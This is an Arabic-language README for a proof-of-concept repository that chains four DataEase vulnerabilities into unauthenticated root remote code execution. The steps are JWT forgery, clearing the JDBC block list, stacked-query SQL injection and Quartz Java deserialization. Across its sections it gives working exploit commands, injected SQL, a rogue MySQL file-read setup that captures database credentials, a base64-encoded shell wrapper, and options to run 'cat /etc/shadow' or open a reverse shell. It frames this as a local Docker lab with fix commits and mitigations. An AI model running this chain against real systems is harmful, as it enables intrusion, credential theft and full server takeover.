
استغلال آلي لـ DataEase: سلسلة من 4 ثغرات (تجاوز المصادقة، تجاوز قائمة الحظر في JDBC، حقن SQL، إلغاء تسلسل Java) لتحقيق تنفيذ أكواد عن بُعد دون مصادقة (RCE). يتضمن مختبر Docker وإثبات مفهوم (PoC) بلغة Python.
تجاوز المصادقة → تجاوز قائمة حظر JDBC (قراءة ملفات عشوائية) → حقن SQL → إلغاء تسلسل Java في Quartz → تنفيذ أوامر عن بُعد بصلاحيات
root.مختبر محلي متكامل (Docker) + PoC عملي. تم الإصلاح في DataEase v2.10.21.
DataEase هي منصة مفتوحة المصدر شهيرة لذكاء الأعمال / تصور البيانات (Java / Spring Boot). الإصدارات ≤ v2.10.20 معرّضة لسلسلة من أربع مشكلات تحوّل معًا أي DataEase يمكن الوصول إليه عبر الشبكة إلى تنفيذ أوامر عن بُعد (RCE):
| # | CVE | التصنيف | ما يمنحنا إياه |
|---|---|---|---|
| 1 | CVE-2026-23958 | تجاوز المصادقة (CWE-287/CWE-347) | التصرف كـ admin — دون الحاجة إلى توقيع صالح |
| 2 | CVE-2026-40899 | تجاوز قائمة حظر JDBC (CWE-20) | قراءة ملفات عشوائية → سرقة بيانات اعتماد قاعدة البيانات الخلفية |
| 3 | CVE-2026-40900 | حقن SQL / استعلامات متراصة (CWE-89) | الكتابة في قاعدة بيانات DataEase الخاصة |
| 4 | CVE-2026-40901 | إلغاء تسلسل Java (CWE-502) | RCE بصلاحيات root عبر مخزن وظائف Quartz |
# 1. bring up a vulnerable DataEase v2.10.20 + MySQL
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
# 2. fire the chain
python3 exploit/de_rce_chain.py
# 3. a few seconds later, confirm code execution as root
docker exec dataease cat /tmp/pwned_CVE_2026_40901
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
# PWNED_BY_CVE_2026_40901
# Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux
كل شيء يعمل محليًا في Docker. لا خدمات خارجية، ولا هدف على الإنترنت.
docker-compose.yml vulnerable DataEase v2.10.20 + MySQL 8.4
conf/application-standalone.yml repoints the DB at the local mysql-de
mysql/ my.cnf + init.sql (creates the empty `dataease` DB)
exploit/ the PoC
شغّله:
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
http://localhost:8100 (بادئة API /de2api)admin / DataEase@123456متطلبات المضيف: Docker، وPython 3.8+ مع cryptography (pip install -r exploit/requirements.txt)، وواجهة أوامر Docker CLI (تُستخدم لتشغيل ysoserial في حاوية eclipse-temurin:8-jre مؤقتة لبناء الـ gadget).
يجري DataEase مصادقة الطلبات في مرشح servlet باسم TokenFilter (sdk/common/.../auth/filter/TokenFilter.java). يقرأ التوكن ويستدعي TokenUtils.validate()، والذي ينتهي إلى:
// io.dataease.utils.TokenUtils
public static TokenUserBO userBOByToken(String token) {
DecodedJWT jwt = JWT.decode(token); // <-- decode only, NO signature check
Long userId = jwt.getClaim("uid").asLong();
Long oid = jwt.getClaim("oid").asLong();
...
return new TokenUserBO(userId, oid);
}
JWT.decode() لا يتحقق من التوقيع أبدًا. الفحوصات الوحيدة هي: أن يكون التوكن ≥ 100 حرفًا ويحمل ادعاء uid من نوع عدد صحيح. لذا فإن أي JWT يقول "uid": 1 يجعل الطلب يعمل بصلاحيات المسؤول المدمج (uid 1).
يوجد مرشح ثانٍ (CommunityTokenFilter) يقوم فعلًا بالتحقق من توقيع ترويسة X-DE-TOKEN — لكن فقط في ظروف محددة، ومفتاح التوقيع إما سر خاص بمستخدم معيّن أو، في البناء المجتمعي العادي، قيمة MD5 لكلمة المرور الافتراضية المشفّرة DataEase@123456 (SubstituleLoginConfig → dataease.default-pwd). مسار رابط المشاركة المرافق (X-DE-LINK-TOKEN) موقّع بالمفتاح المشفّر link-pwd-fit2cloud (LinkTokenUtil.defaultPwd) وكان، قبل الإصلاح، يُفكّ ترميزه دون تحقق بالمثل.
المحصلة: يمكن للمهاجم سكّ توكن بصلاحيات المسؤول. تتضمن de_common.py الدالة forge_jwt() التي تُنتج توكنًا بلا توقيع؛ كما يدعم الـ PoC ببساطة تسجيل الدخول باستخدام بيانات الاعتماد الافتراضية الشائعة للحصول على X-DE-TOKEN صالح بالكامل لبقية السلسلة.
الإصلاح (الالتزام 00c169caa) يجعل TokenFilter يبحث عن السر الحقيقي الخاص بكل مورد ويستدعي فعليًا verifier.verify(...).
عند إضافة مصدر بيانات MySQL، يرفض DataEase مجموعة من معاملات JDBC الخطيرة. توجد قائمة الحظر هذه في حقل Lombok @Data:
// io.dataease.datasource.type.Mysql (extends DatasourceConfiguration, @Data)
private List<String> illegalParameters = Arrays.asList(
"maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
"detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
"allowLoadLocalInfileInPath");
نظرًا لأن @Data يولّد تلقائيًا setIllegalParameters(...)، فإن Jackson سيملؤه بسهولة من JSON يتحكم فيه المهاجم. إرسال "illegalParameters": [] في كتلة configuration (المشفّرة Base64) يفرّغ قائمة الحظر قبل فحصها. يمكننا بعد ذلك توجيه مصدر البيانات إلى خادم MySQL مارق مع allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/ وقراءة ملفات عشوائية من مضيف DataEase عبر آلية LOCAL INFILE في MySQL.
# terminal A — rogue server, choose any file to steal
python3 exploit/rogue_mysql.py --port 3307 \
--file /opt/apps/config/application-standalone.yml
# terminal B — make DataEase connect to it (host.docker.internal reaches your host)
python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307
النتيجة — يسلّمنا DataEase بيانات اعتماد قاعدة بياناته الخلفية نفسها:
[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
spring:
datasource:
url: jdbc:mysql://mysql-de:3306/dataease?...
username: root
password: Password123@mysql
هذه البيانات هي ما يستخدمه المهاجم لتوجيه الخطوة 3 إلى قاعدة بيانات DataEase الخاصة. الإصلاح (الالتزام 16a950f96) يضيف @JsonIgnore إلى كل حقل illegalParameters بحيث لا يمكن تعيينه من JSON بعد الآن.
previewSqlيستقبل POST /de2api/datasetData/previewSql سلسلة SQL مشفّرة Base64، وبدون أي تحقق من كونها عبارة واحدة، يغلّفها كاستعلام فرعي:
SELECT * FROM ( <your SQL> ) AS `tmp` LIMIT 100 OFFSET 0
تتم إزالة التعليقات، لكن يمكننا موازنة الأقواس واستخدام ; لتشغيل عبارات إضافية. ولأننا نتحكم في مصدر البيانات، نفعّل allowMultiQueries=true (وهي ليست في قائمة الحظر في v2.10.20)، لذا تُنفَّذ الاستعلامات المتراصة:
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1
والتي يجمعها الخادم في ثلاث عبارات حقيقية. توجيه مصدر البيانات هذا إلى قاعدة بيانات DataEase الخاصة (بيانات الاعتماد من الخطوة 2) يتيح لنا الكتابة في جداول Quartz الخاصة به. الإصلاحات: 15611593b يضيف allowMultiQueries إلى قائمة الحظر، وe89059d88 يشدّد مسار الحفظ/المحرك.
يجدول DataEase وظيفة Quartz متكررة لـ "فحص حالة مصدر البيانات":
deSyncJob، الوظيفة Datasource / check_status، الفئة io.dataease.job.schedule.CheckDsStatusJob0 0/6 * * * ? * (الافتراضي: كل 6 دقائق)يستخدم Quartz مخزن وظائف JDBC مع useProperties=false، لذا يُخزَّن JobDataMap لكل وظيفة في عمود QRTZ_JOB_DETAILS.JOB_DATA كـ كائن Java متسلسل خام (يمكنك رؤية ذلك: تبدأ الكتلة بسحر التسلسل AC ED 00 05 … org.quartz.JobDataMap). وعندما يفحص المجدول المشغّلات، يقوم في StdJDBCDelegate.selectJobDetail بما يلي:
Map map = (Map) getObjectFromBlob(rs, "JOB_DATA"); // new ObjectInputStream(...).readObject()
يأتي DataEase مزودًا بـ commons-collections-3.2.1.jar (وvelocity-1.7.jar) — مصادر gadgets كلاسيكية لإلغاء التسلسل. باستخدام الخطوة 3 نستبدل JOB_DATA بحمولة ysoserial CommonsCollections6 (وفي نفس الاستعلام المتراص، نضبط NEXT_FIRE_TIME الخاص بالمشغّل على الآن حتى لا ننتظر cron الست دقائق). عند الفحص التالي للمجدول، يُطلق readObject() سلسلة الـ gadget (LazyMap → InvokerTransformer → Runtime.exec) ويُنفَّذ أمرنا — بصلاحيات root، داخل الحاوية. مجموعة الإصلاحات (e05bda764، …) تزيل اعتماد Velocity الضعيف وتمنع الوصول إلى المصرف (sink).
يولّد الـ PoC لك الـ gadget (تغليف أوامر متوافق مع busybox — الصدفة المستهدفة هي Alpine ash وRuntime.exec لا تحصل على صدفة، لذا نستخدم sh -c echo${IFS}<b64>|base64${IFS}-d|sh).
pip install -r exploit/requirements.txt
# full chain (default: writes an id/uname proof file inside the container)
python3 exploit/de_rce_chain.py
# arbitrary command
python3 exploit/de_rce_chain.py --cmd 'cat /etc/shadow'
# reverse shell (start `nc -lvnp 4444` first)
python3 exploit/de_rce_chain.py --revshell host.docker.internal 4444
# verify code execution
docker exec dataease cat /tmp/pwned_CVE_2026_40901
إعادة تعيين وظيفة Quartz المسمومة بين التشغيلات (اختياري):
exploit/reset_quartz.sh
admin الافتراضية (DataEase@123456) فورًا.useProperties=true، وطبّق مرشح إلغاء تسلسل على مستوى JVM (-Djdk.serialFilter=…)، وأزل commons-collections:3.2.1 / velocity:1.7 من classpath.لأغراض التعليم والاختبار المصرّح به فقط. يستهدف المختبر حاوية تشغّلها بنفسك. لا توجّه أيًا من هذا إلى أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.
00c169caa, 16a950f96, 15611593b, e89059d88, e05bda764 (DataEase v2.10.20..v2.10.21)| المسار | الغرض |
|---|
exploit/de_common.py | عميل HTTP: استخراج مفتاح RSA من /dekey، تسجيل الدخول، تزوير JWT، مصدر البيانات + previewSql |
exploit/de_rce_chain.py | السلسلة الكاملة من المصادقة → SQLi → إلغاء تسلسل Quartz لتنفيذ أوامر عن بُعد |
exploit/rogue_mysql.py | خادم MySQL مارق بسيط (قراءة ملفات عبر LOCAL INFILE) لـ CVE-2026-40899 |
exploit/file_read.py | يوجّه CVE-2026-40899 ضد الخادم المارق |
exploit/reset_quartz.sh | استعادة وظيفة Quartz نظيفة بعد كل تشغيل |